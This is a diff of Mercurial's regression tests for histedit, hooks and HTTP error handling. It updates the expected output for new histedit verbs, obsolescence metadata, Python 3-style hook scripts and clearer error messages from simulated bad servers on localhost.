@@ -238,15 +237,6 @@
   hg: parse error: base "d273e35dcdf2" changeset was an edited list candidate
   (base must only use unlisted changesets)
 
-  $ hg --config experimental.histeditng=False histedit 5 --commands - 2>&1 << EOF | fixbundle
-  > base cd010b8cd998 A
-  > pick d273e35dcdf2 B
-  > pick 03772da75548 X
-  > pick b2f90fd8aa85 I
-  > pick e8c55b19d366 J
-  > EOF
-  hg: parse error: unknown action "base"
-
   $ hg tglog
   @  8:e8c55b19d366b335626e805484110d1d5f6f2ea3:draft 'J'
   |
diff --git a/tests/test-histedit-bookmark-motion.t b/tests/test-histedit-bookmark-motion.t
--- a/tests/test-histedit-bookmark-motion.t
+++ b/tests/test-histedit-bookmark-motion.t
@@ -76,6 +76,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -132,6 +133,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
diff --git a/tests/test-histedit-commute.t b/tests/test-histedit-commute.t
--- a/tests/test-histedit-commute.t
+++ b/tests/test-histedit-commute.t
@@ -70,6 +70,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -348,6 +349,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -362,6 +364,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets 141947992243:bd22688093b3
   (run 'hg update' to get a working copy)
   $ hg co tip
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-histedit-edit.t b/tests/test-histedit-edit.t
--- a/tests/test-histedit-edit.t
+++ b/tests/test-histedit-edit.t
@@ -460,7 +460,7 @@
   > EOF
   $ HGEDITOR="sh ../edit.sh" hg histedit 2
   warning: histedit rules saved to: .hg/histedit-last-edit.txt
-  hg: parse error: cannot fold into public change 18aa70c8ad22
+  hg: parse error: first changeset cannot use verb "fold"
   [255]
   $ cat .hg/histedit-last-edit.txt
   fold 0012be4a27ea 2 extend a
@@ -476,6 +476,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, fold = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
diff --git a/tests/test-histedit-fold.t b/tests/test-histedit-fold.t
--- a/tests/test-histedit-fold.t
+++ b/tests/test-histedit-fold.t
@@ -294,9 +294,21 @@
   [1]
 There were conflicts, we keep P1 content. This
 should effectively drop the changes from +6.
-  $ hg status
+
+  $ hg status -v
   M file
   ? file.orig
+  # The repository is in an unfinished *histedit* state.
+  
+  # Unresolved merge conflicts:
+  # 
+  #     file
+  # 
+  # To mark files as resolved:  hg resolve --mark FILE
+  
+  # To continue:                hg histedit --continue
+  # To abort:                   hg histedit --abort
+  
   $ hg resolve -l
   U file
   $ hg revert -r 'p1()' file
@@ -541,3 +553,36 @@
   END
 
   $ cd ..
+
+Test rolling into a commit with multiple children (issue5498)
+
+  $ hg init roll
+  $ cd roll
+  $ echo a > a
+  $ hg commit -qAm aa
+  $ echo b > b
+  $ hg commit -qAm bb
+  $ hg up -q ".^"
+  $ echo c > c
+  $ hg commit -qAm cc
+  $ hg log -G -T '{node|short} {desc}'
+  @  5db65b93a12b cc
+  |
+  | o  301d76bdc3ae bb
+  |/
+  o  8f0162e483d0 aa
+  
+
+  $ hg histedit . --commands - << EOF
+  > r 5db65b93a12b
+  > EOF
+  hg: parse error: first changeset cannot use verb "roll"
+  [255]
+  $ hg log -G -T '{node|short} {desc}'
+  @  5db65b93a12b cc
+  |
+  | o  301d76bdc3ae bb
+  |/
+  o  8f0162e483d0 aa
+  
+
diff --git a/tests/test-histedit-obsolete.t b/tests/test-histedit-obsolete.t
--- a/tests/test-histedit-obsolete.t
+++ b/tests/test-histedit-obsolete.t
@@ -8,7 +8,8 @@
   > [phases]
   > publish=False
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > evolution.createmarkers=True
+  > evolution.allowunstable=True
   > [extensions]
   > histedit=
   > rebase=
@@ -43,23 +44,22 @@
   $ hg commit --amend b
   $ hg histedit --continue
   $ hg log -G
-  @  6:46abc7c4d873 b
+  @  5:46abc7c4d873 b
   |
-  o  5:49d44ab2be1b c
+  o  4:49d44ab2be1b c
   |
   o  0:cb9a9f314b8b a
   
   $ hg debugobsolete
-  e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
-  3e30a45cf2f719e96ab3922dfe039cfd047956ce 0 {e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf} (*) {'user': 'test'} (glob)
-  1b2d564fad96311b45362f17c2aa855150efb35f 46abc7c4d8738e8563e577f7889e1b6db3da4199 0 (*) {'user': 'test'} (glob)
-  114f4176969ef342759a8a57e6bccefc4234829b 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
+  e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf 49d44ab2be1b67a79127568a67c9c99430633b48 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  1b2d564fad96311b45362f17c2aa855150efb35f 46abc7c4d8738e8563e577f7889e1b6db3da4199 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  114f4176969ef342759a8a57e6bccefc4234829b 49d44ab2be1b67a79127568a67c9c99430633b48 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
 
 With some node gone missing during the edit.
 
   $ echo "pick `hg log -r 0 -T '{node|short}'`" > plan
-  $ echo "pick `hg log -r 6 -T '{node|short}'`" >> plan
-  $ echo "edit `hg log -r 5 -T '{node|short}'`" >> plan
+  $ echo "pick `hg log -r 5 -T '{node|short}'`" >> plan
+  $ echo "edit `hg log -r 4 -T '{node|short}'`" >> plan
   $ hg histedit -r 'all()' --commands plan
   Editing (49d44ab2be1b), you may commit or record as needed now.
   (hg histedit --continue to resume)
@@ -73,21 +73,20 @@
   $ hg --hidden --config extensions.strip= strip 'desc(XXXXXX)' --no-backup
   $ hg histedit --continue
   $ hg log -G
-  @  9:273c1f3b8626 c
+  @  8:273c1f3b8626 c
   |
-  o  8:aba7da937030 b2
+  o  7:aba7da937030 b2
   |
   o  0:cb9a9f314b8b a
   
   $ hg debugobsolete
-  e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
-  3e30a45cf2f719e96ab3922dfe039cfd047956ce 0 {e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf} (*) {'user': 'test'} (glob)
-  1b2d564fad96311b45362f17c2aa855150efb35f 46abc7c4d8738e8563e577f7889e1b6db3da4199 0 (*) {'user': 'test'} (glob)
-  114f4176969ef342759a8a57e6bccefc4234829b 49d44ab2be1b67a79127568a67c9c99430633b48 0 (*) {'user': 'test'} (glob)
-  76f72745eac0643d16530e56e2f86e36e40631f1 2ca853e48edbd6453a0674dc0fe28a0974c51b9c 0 (*) {'user': 'test'} (glob)
-  2ca853e48edbd6453a0674dc0fe28a0974c51b9c aba7da93703075eec9fb1dbaf143ff2bc1c49d46 0 (*) {'user': 'test'} (glob)
-  49d44ab2be1b67a79127568a67c9c99430633b48 273c1f3b86267ed3ec684bb13af1fa4d6ba56e02 0 (*) {'user': 'test'} (glob)
-  46abc7c4d8738e8563e577f7889e1b6db3da4199 aba7da93703075eec9fb1dbaf143ff2bc1c49d46 0 (*) {'user': 'test'} (glob)
+  e72d22b19f8ecf4150ab4f91d0973fd9955d3ddf 49d44ab2be1b67a79127568a67c9c99430633b48 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  1b2d564fad96311b45362f17c2aa855150efb35f 46abc7c4d8738e8563e577f7889e1b6db3da4199 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  114f4176969ef342759a8a57e6bccefc4234829b 49d44ab2be1b67a79127568a67c9c99430633b48 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  76f72745eac0643d16530e56e2f86e36e40631f1 2ca853e48edbd6453a0674dc0fe28a0974c51b9c 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  2ca853e48edbd6453a0674dc0fe28a0974c51b9c aba7da93703075eec9fb1dbaf143ff2bc1c49d46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'amend', 'user': 'test'}
+  49d44ab2be1b67a79127568a67c9c99430633b48 273c1f3b86267ed3ec684bb13af1fa4d6ba56e02 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  46abc7c4d8738e8563e577f7889e1b6db3da4199 aba7da93703075eec9fb1dbaf143ff2bc1c49d46 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
   $ cd ..
 
 Base setup for the rest of the testing
@@ -134,6 +133,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -170,13 +170,13 @@
   o  0:cb9a9f314b8b a
   
   $ hg debugobsolete
-  d2ae7f538514cd87c17547b0de4cea71fe1af9fb 0 {cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b} (*) {'user': 'test'} (glob)
-  177f92b773850b59254aa5e923436f921b55483b b346ab9a313db8537ecf96fca3ca3ca984ef3bd7 0 (*) {'user': 'test'} (glob)
-  055a42cdd88768532f9cf79daa407fc8d138de9b 59d9f330561fd6c88b1a6b32f0e45034d88db784 0 (*) {'user': 'test'} (glob)
-  e860deea161a2f77de56603b340ebbb4536308ae 59d9f330561fd6c88b1a6b32f0e45034d88db784 0 (*) {'user': 'test'} (glob)
-  652413bf663ef2a641cab26574e46d5f5a64a55a cacdfd884a9321ec4e1de275ef3949fa953a1f83 0 (*) {'user': 'test'} (glob)
-  96e494a2d553dd05902ba1cee1d94d4cb7b8faed 0 {b346ab9a313db8537ecf96fca3ca3ca984ef3bd7} (*) {'user': 'test'} (glob)
-  b558abc46d09c30f57ac31e85a8a3d64d2e906e4 0 {96e494a2d553dd05902ba1cee1d94d4cb7b8faed} (*) {'user': 'test'} (glob)
+  d2ae7f538514cd87c17547b0de4cea71fe1af9fb 0 {cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  177f92b773850b59254aa5e923436f921b55483b b346ab9a313db8537ecf96fca3ca3ca984ef3bd7 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  055a42cdd88768532f9cf79daa407fc8d138de9b 59d9f330561fd6c88b1a6b32f0e45034d88db784 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  e860deea161a2f77de56603b340ebbb4536308ae 59d9f330561fd6c88b1a6b32f0e45034d88db784 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  652413bf663ef2a641cab26574e46d5f5a64a55a cacdfd884a9321ec4e1de275ef3949fa953a1f83 0 (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  96e494a2d553dd05902ba1cee1d94d4cb7b8faed 0 {b346ab9a313db8537ecf96fca3ca3ca984ef3bd7} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
+  b558abc46d09c30f57ac31e85a8a3d64d2e906e4 0 {96e494a2d553dd05902ba1cee1d94d4cb7b8faed} (Thu Jan 01 00:00:00 1970 +0000) {'operation': 'histedit', 'user': 'test'}
 
 
 Ensure hidden revision does not prevent histedit
@@ -223,12 +223,12 @@
   $ echo c >> c
   $ hg histedit --continue
 
-  $ hg log -r 'unstable()'
+  $ hg log -r 'orphan()'
   11:c13eb81022ca f (no-eol)
 
 stabilise
 
-  $ hg rebase  -r 'unstable()' -d .
+  $ hg rebase  -r 'orphan()' -d .
   rebasing 11:c13eb81022ca "f"
   $ hg up tip -q
 
diff --git a/tests/test-histedit-outgoing.t b/tests/test-histedit-outgoing.t
--- a/tests/test-histedit-outgoing.t
+++ b/tests/test-histedit-outgoing.t
@@ -52,6 +52,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -86,6 +87,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
@@ -112,6 +114,7 @@
   #  e, edit = use commit, but stop for amending
   #  m, mess = edit commit message without changing commit content
   #  p, pick = use commit
+  #  b, base = checkout changeset and apply further changesets from there
   #  d, drop = remove commit from history
   #  f, fold = use commit, but combine it with the one above
   #  r, roll = like fold, but discard this commit's description and date
diff --git a/tests/test-hook.t b/tests/test-hook.t
--- a/tests/test-hook.t
+++ b/tests/test-hook.t
@@ -112,6 +112,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files
+  new changesets ab228980c14d:07f3376c1e65
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=ab228980c14deea8b9555d91c9581127383e40fd HG_NODE_LAST=07f3376c1e655977439df2a814e3cc14b27abac2 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/a
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=ab228980c14deea8b9555d91c9581127383e40fd HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/a
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=ee9deb46ab31e4cc3310f3cf0c3d668e4d8fffc2 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/a
@@ -263,7 +264,6 @@
   pulling from ../a
   listkeys hook: HG_HOOKNAME=listkeys HG_HOOKTYPE=listkeys HG_NAMESPACE=bookmarks HG_VALUES={'bar': '0000000000000000000000000000000000000000', 'foo': '0000000000000000000000000000000000000000'}
   no changes found
-  listkeys hook: HG_HOOKNAME=listkeys HG_HOOKTYPE=listkeys HG_NAMESPACE=phases HG_VALUES={'cb9a9f314b8b07ba71012fcdbc544b5a4d82ff5b': '1', 'publishing': 'True'}
   adding remote bookmark bar
   $ cd ../a
 
@@ -363,6 +363,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   adding remote bookmark quux
+  new changesets 539e4b31b6dc
   (run 'hg update' to get a working copy)
   $ hg rollback
   repository tip rolled back to revision 3 (undo pull)
@@ -409,24 +410,23 @@
   $ cd "$TESTTMP/b"
 
   $ cat > hooktests.py <<EOF
+  > from __future__ import print_function
   > from mercurial import error
   > 
   > uncallable = 0
   > 
-  > def printargs(args):
-  >     args.pop('ui', None)
-  >     args.pop('repo', None)
+  > def printargs(ui, args):
   >     a = list(args.items())
   >     a.sort()
-  >     print 'hook args:'
+  >     ui.write('hook args:\n')
   >     for k, v in a:
-  >        print ' ', k, v
+  >        ui.write('  %s %s\n' % (k, v))
   > 
-  > def passhook(**args):
-  >     printargs(args)
+  > def passhook(ui, repo, **args):
+  >     printargs(ui, args)
   > 
-  > def failhook(**args):
-  >     printargs(args)
+  > def failhook(ui, repo, **args):
+  >     printargs(ui, args)
   >     return True
   > 
   > class LocalException(Exception):
@@ -445,7 +445,7 @@
   >     ui.note('verbose output from hook\n')
   > 
   > def printtags(ui, repo, **args):
-  >     print sorted(repo.tags())
+  >     ui.write('%s\n' % sorted(repo.tags()))
   > 
   > class container:
   >     unreachable = 1
@@ -573,6 +573,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   adding remote bookmark quux
+  new changesets 539e4b31b6dc
   (run 'hg update' to get a working copy)
 
 post- python hooks that fail to *run* don't cause an abort
@@ -629,8 +630,8 @@
   $ cd c
 
   $ cat > hookext.py <<EOF
-  > def autohook(**args):
-  >     print "Automatically installed hook"
+  > def autohook(ui, **args):
+  >     ui.write('Automatically installed hook\n')
   > 
   > def reposetup(ui, repo):
   >     repo.ui.setconfig("hooks", "commit.auto", autohook)
@@ -666,8 +667,8 @@
 
   $ cd hooks
   $ cat > testhooks.py <<EOF
-  > def testhook(**args):
-  >     print 'hook works'
+  > def testhook(ui, **args):
+  >     ui.write('hook works\n')
   > EOF
   $ echo '[hooks]' > ../repo/.hg/hgrc
   $ echo "pre-commit.test = python:`pwd`/testhooks.py:testhook" >> ../repo/.hg/hgrc
diff --git a/tests/test-http-bad-server.t b/tests/test-http-bad-server.t
--- a/tests/test-http-bad-server.t
+++ b/tests/test-http-bad-server.t
@@ -11,6 +11,8 @@
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > fakeversion = `pwd`/fakeversion.py
+  > [devel]
+  > legacy.exchange = phases
   > EOF
 
   $ hg init server0
@@ -30,7 +32,7 @@
 
 Failure to accept() socket should result in connection related error message
 
-  $ hg --config badserver.closebeforeaccept=true serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve --config badserver.closebeforeaccept=true -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -45,7 +47,7 @@
 
 Failure immediately after accept() should yield connection related error message
 
-  $ hg --config badserver.closeafteraccept=true serve -p $HGPORT -d --pid-file=hg.pid
+  $ hg serve --config badserver.closeafteraccept=true -p $HGPORT -d --pid-file=hg.pid
   $ cat hg.pid > $DAEMON_PIDS
 
 TODO: this usually outputs good results, but sometimes emits abort:
@@ -65,13 +67,11 @@
 
 Failure to read all bytes in initial HTTP request should yield connection related error message
 
-  $ hg --config badserver.closeafterrecvbytes=1 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeafterrecvbytes=1 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
-TODO this error message is not very good
-
   $ hg clone http://localhost:$HGPORT/ clone
-  abort: error: ''
+  abort: error: bad HTTP status line: ''
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -84,10 +84,10 @@
 
 Same failure, but server reads full HTTP request line
 
-  $ hg --config badserver.closeafterrecvbytes=40 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeafterrecvbytes=40 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ clone
-  abort: error: ''
+  abort: error: bad HTTP status line: ''
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -101,10 +101,10 @@
 
 Failure on subsequent HTTP request on the same socket (cmd?batch)
 
-  $ hg --config badserver.closeafterrecvbytes=210 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeafterrecvbytes=210 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ clone
-  abort: error: ''
+  abort: error: bad HTTP status line: ''
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -139,11 +139,11 @@
 
 Failure to read getbundle HTTP request
 
-  $ hg --config badserver.closeafterrecvbytes=292 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeafterrecvbytes=292 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
   $ hg clone http://localhost:$HGPORT/ clone
   requesting all changes
-  abort: error: ''
+  abort: error: bad HTTP status line: ''
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -196,11 +196,11 @@
 
 Now do a variation using POST to send arguments
 
-  $ hg --config experimental.httppostargs=true --config badserver.closeafterrecvbytes=315 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config experimental.httppostargs=true --config badserver.closeafterrecvbytes=315 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
-  abort: error: ''
+  abort: error: bad HTTP status line: ''
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -247,11 +247,11 @@
 
 Server sends a single character from the HTTP response line
 
-  $ hg --config badserver.closeaftersendbytes=1 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
-  abort: error: H
+  abort: error: bad HTTP status line: H
   [255]
 
   $ killdaemons.py $DAEMON_PIDS
@@ -271,7 +271,7 @@
 
 Server sends an incomplete capabilities response body
 
-  $ hg --config badserver.closeaftersendbytes=180 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=180 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -301,7 +301,7 @@
 
 Server sends incomplete headers for batch request
 
-  $ hg --config badserver.closeaftersendbytes=695 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=695 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
 TODO this output is horrible
@@ -350,12 +350,17 @@
 
 Server sends an incomplete HTTP response body to batch request
 
-  $ hg --config badserver.closeaftersendbytes=760 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=760 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
 TODO client spews a stack due to uncaught ValueError in batch.results()
+#if no-chg
   $ hg clone http://localhost:$HGPORT/ clone 2> /dev/null
   [1]
+#else
+  $ hg clone http://localhost:$HGPORT/ clone 2> /dev/null
+  [255]
+#endif
 
   $ killdaemons.py $DAEMON_PIDS
 
@@ -395,7 +400,7 @@
 
 Server sends incomplete headers for getbundle response
 
-  $ hg --config badserver.closeaftersendbytes=895 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=895 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
 TODO this output is terrible
@@ -461,7 +466,7 @@
 
 Server sends empty HTTP body for getbundle
 
-  $ hg --config badserver.closeaftersendbytes=933 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=933 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -524,7 +529,7 @@
 
 Server sends partial compression string
 
-  $ hg --config badserver.closeaftersendbytes=945 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=945 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -589,7 +594,7 @@
 
 Server sends partial bundle2 header magic
 
-  $ hg --config badserver.closeaftersendbytes=954 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=954 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -613,7 +618,7 @@
 
 Server sends incomplete bundle2 stream params length
 
-  $ hg --config badserver.closeaftersendbytes=963 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=963 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -638,7 +643,7 @@
 
 Servers stops after bundle2 stream params header
 
-  $ hg --config badserver.closeaftersendbytes=966 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=966 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -663,7 +668,7 @@
 
 Server stops sending after bundle2 part header length
 
-  $ hg --config badserver.closeaftersendbytes=975 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=975 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -689,7 +694,7 @@
 
 Server stops sending after bundle2 part header
 
-  $ hg --config badserver.closeaftersendbytes=1022 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1022 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -719,7 +724,7 @@
 
 Server stops after bundle2 part payload chunk size
 
-  $ hg --config badserver.closeaftersendbytes=1031 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1031 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -750,7 +755,7 @@
 
 Server stops sending in middle of bundle2 payload chunk
 
-  $ hg --config badserver.closeaftersendbytes=1504 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1504 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -782,7 +787,7 @@
 
 Server stops sending after 0 length payload chunk size
 
-  $ hg --config badserver.closeaftersendbytes=1513 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1513 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -819,7 +824,7 @@
 Server stops sending after 0 part bundle part header (indicating end of bundle2 payload)
 This is before the 0 size chunked transfer part that signals end of HTTP response.
 
-  $ hg --config badserver.closeaftersendbytes=1710 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1710 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -828,6 +833,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -862,7 +868,7 @@
 
 Server sends a size 0 chunked-transfer size without terminating \r\n
 
-  $ hg --config badserver.closeaftersendbytes=1713 serve -p $HGPORT -d --pid-file=hg.pid -E error.log
+  $ hg serve --config badserver.closeaftersendbytes=1713 -p $HGPORT -d --pid-file=hg.pid -E error.log
   $ cat hg.pid > $DAEMON_PIDS
 
   $ hg clone http://localhost:$HGPORT/ clone
@@ -871,6 +877,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-http-branchmap.t b/tests/test-http-branchmap.t
--- a/tests/test-http-branchmap.t
+++ b/tests/test-http-branchmap.t
@@ -21,6 +21,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 867c11ce77b8
   updating to branch \xc3\xa6 (esc)
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg --encoding utf-8 -R b log
diff --git a/tests/test-http-bundle1.t b/tests/test-http-bundle1.t
--- a/tests/test-http-bundle1.t
+++ b/tests/test-http-bundle1.t
@@ -40,7 +40,7 @@
 
 clone via stream
 
-  $ hg clone --uncompressed http://localhost:$HGPORT/ copy 2>&1
+  $ hg clone --stream http://localhost:$HGPORT/ copy 2>&1
   streaming all changes
